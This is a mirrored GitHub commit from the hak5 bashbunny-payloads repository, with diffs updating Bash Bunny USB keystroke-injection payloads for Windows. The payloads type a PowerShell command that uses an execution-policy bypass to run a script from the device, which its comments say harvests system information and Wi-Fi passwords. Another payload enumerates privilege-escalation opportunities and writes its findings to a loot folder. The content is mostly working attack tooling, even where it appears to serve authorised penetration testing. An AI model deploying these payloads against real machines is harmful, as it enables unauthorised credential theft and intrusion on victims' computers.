mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Update and fix payloads (#277)
* Updated all Payloads for Version 1.2+ Fixed Style Issues on extensions and payloads. Added GET TARGET_OS to get.sh Removed and Fixed all uses ducky_helper.sh (Issue #248) Removed all mention of DUCKY_LANG (Issue #248) Renamed Payloads with spaces in name Added an extension to keep Macs Happy Added a payload for Mac DNS poisoning Fixed Issue #271 changed wget to curl -o Implemented PR #268 Implemented PR #273 * Fixed e.cmd * Fix e.cmd pt2 * Fixed Issues Fixed issues pointed out by @sebkinne Fixed styling errors
This commit is contained in:
committed by
Sebastian Kinne
parent
c0ab8d3e88
commit
5a77792c1d
@@ -5,39 +5,19 @@
|
||||
# Version: 1.0
|
||||
# Target: Windows
|
||||
# Creds: Hak5Darren for inspiration
|
||||
#
|
||||
#
|
||||
# Executes run.ps1 which executes scripts that gets you information about
|
||||
# the computer running and will also get wifi passwords
|
||||
|
||||
|
||||
LED R B 100
|
||||
LED SETUP
|
||||
ATTACKMODE HID STORAGE
|
||||
GET SWITCH_POSITION
|
||||
|
||||
#Check swith copied from bunny_helper
|
||||
|
||||
check_switch() {
|
||||
switch1=`cat /sys/class/gpio_sw/PA8/data`
|
||||
switch2=`cat /sys/class/gpio_sw/PL4/data`
|
||||
switch3=`cat /sys/class/gpio_sw/PL3/data`
|
||||
if [ "x$switch1" = "x0" ] && [ "x$switch2" = "x1" ] && [ "x$switch3" = "x1" ]; then
|
||||
SWITCH_POSITION="switch1"
|
||||
elif [ "x$switch1" = "x1" ] && [ "x$switch2" = "x0" ] && [ "x$switch3" = "x1" ]; then
|
||||
SWITCH_POSITION="switch2"
|
||||
elif [ "x$switch1" = "x1" ] && [ "x$switch2" = "x1" ] && [ "x$switch3" = "x0" ]; then
|
||||
SWITCH_POSITION="switch3"
|
||||
else
|
||||
SWITCH_POSITION="invalid"
|
||||
fi
|
||||
}
|
||||
|
||||
check_switch
|
||||
|
||||
# Set your language here
|
||||
QUACK SET_LANGUAGE no
|
||||
LED ATTACK
|
||||
QUACK GUI r
|
||||
QUACK DELAY 200
|
||||
# Open run and run the run.ps1 script in the Bashbunny
|
||||
QUACK STRING powershell -executionpolicy Bypass ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\run.ps1')"
|
||||
QUACK ENTER
|
||||
LED G
|
||||
#Green means good to go
|
||||
LED FINISH
|
||||
|
||||
@@ -1,12 +1,7 @@
|
||||
|
||||
|
||||
|
||||
LED R B 100
|
||||
LED SETUP
|
||||
ATTACKMODE HID STORAGE
|
||||
GET SWITCH_POSITION
|
||||
|
||||
|
||||
DUCKY_LANG gb
|
||||
LED B
|
||||
LED ATTACK
|
||||
RUN WIN powershell -executionpolicy Bypass ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\run.ps1')"
|
||||
LED G FAST
|
||||
#Green means good to go
|
||||
LED FINISH
|
||||
@@ -15,10 +15,8 @@
|
||||
# Green..............Found Possible Privilege Escalation
|
||||
# Red................No Possible Privilege Escalation
|
||||
|
||||
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
|
||||
source bunny_helpers.sh
|
||||
|
||||
LED R 200
|
||||
LED SETUP
|
||||
GET SWITCH_POSITION
|
||||
LOOTDIR=/root/udisk/loot/PrivEscChecker
|
||||
mkdir -p $LOOTDIR
|
||||
#cleanup any prior unfinished payloads
|
||||
@@ -26,7 +24,7 @@ rm $LOOTDIR/DONE
|
||||
rm $LOOTDIR/OUTPUT
|
||||
|
||||
ATTACKMODE HID STORAGE
|
||||
LED B 200
|
||||
LED ATTACK
|
||||
|
||||
# wait 6 seconds for the storage to popup, then open powershell and get bunny drive letter
|
||||
Q DELAY 6000
|
||||
@@ -57,7 +55,7 @@ Q STRING New-Item \$Bunny\\loot\\PrivEscChecker\\DONE -type file -force -value \
|
||||
Q ENTER
|
||||
Q DELAY 100
|
||||
|
||||
# Eject the USB Safely
|
||||
# Eject the USB Safely
|
||||
Q STRING \$Eject \= New-Object -comObject Shell.Application
|
||||
Q ENTER
|
||||
Q DELAY 100
|
||||
@@ -68,7 +66,7 @@ Q ENTER
|
||||
|
||||
sync
|
||||
#remount the drive and check results
|
||||
LED R B 200
|
||||
LED CLEANUP
|
||||
sleep 1
|
||||
# Wait for the DONE file to be created so we know powershell is finished
|
||||
LOOTDIR=/root/udisk/loot/PrivEscChecker
|
||||
@@ -84,7 +82,7 @@ rm -f $DONEFILE
|
||||
|
||||
# Check OUTPUT.txt for any missing patches
|
||||
if grep -lq 'Appears Vulnerable' $LOOTDIR/$DIR/OUTPUT.txt; then
|
||||
LED G 200
|
||||
else
|
||||
LED R
|
||||
fi
|
||||
LED FINISH
|
||||
else
|
||||
LED FAIL
|
||||
fi
|
||||
|
||||
Reference in New Issue
Block a user